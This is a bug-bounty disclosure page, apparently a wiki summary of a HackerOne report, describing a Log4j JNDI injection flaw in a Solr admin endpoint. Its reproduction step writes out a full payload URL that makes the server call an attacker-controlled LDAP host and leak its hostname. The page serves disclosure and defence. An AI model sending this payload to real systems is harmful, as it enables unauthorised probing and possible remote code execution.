solr_log4j - http://██████████
The report claims that a Solr admin endpoint logs user-controlled data using a vulnerable Log4j version, allowing an attacker to trigger a JNDI lookup to an external server. This could lead to remote code execution on the application server.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 13 days
- Disclosed after 2 months
Hi security team, i found a solr log4j vulnerability in your aplication
Impact
Logging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input
System Host(s)
████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Just send get request to this path and change your interact server
PATH ----> http://████████/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.YOURINTERACTSERVER/a%7D
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could achieve remote code execution on the application server, though the report only states this as a possibility and provides no proof of execution.
What the attacker needed
Access to the Solr admin endpoint; attacker-controlled interactsh server
How it was found
- Send a GET request to the Solr admin collections path with a crafted action parameter that contains a JNDI lookup pointing to an interactsh server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Log4j is a logging library that many Java applications use to record events. A flaw in some versions lets an attacker include a special string that makes the application fetch code from a server the attacker controls, which can then run on the victim's machine. This report says a Solr endpoint passes user input into that logger, so sending a crafted request could let an attacker run their own code.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.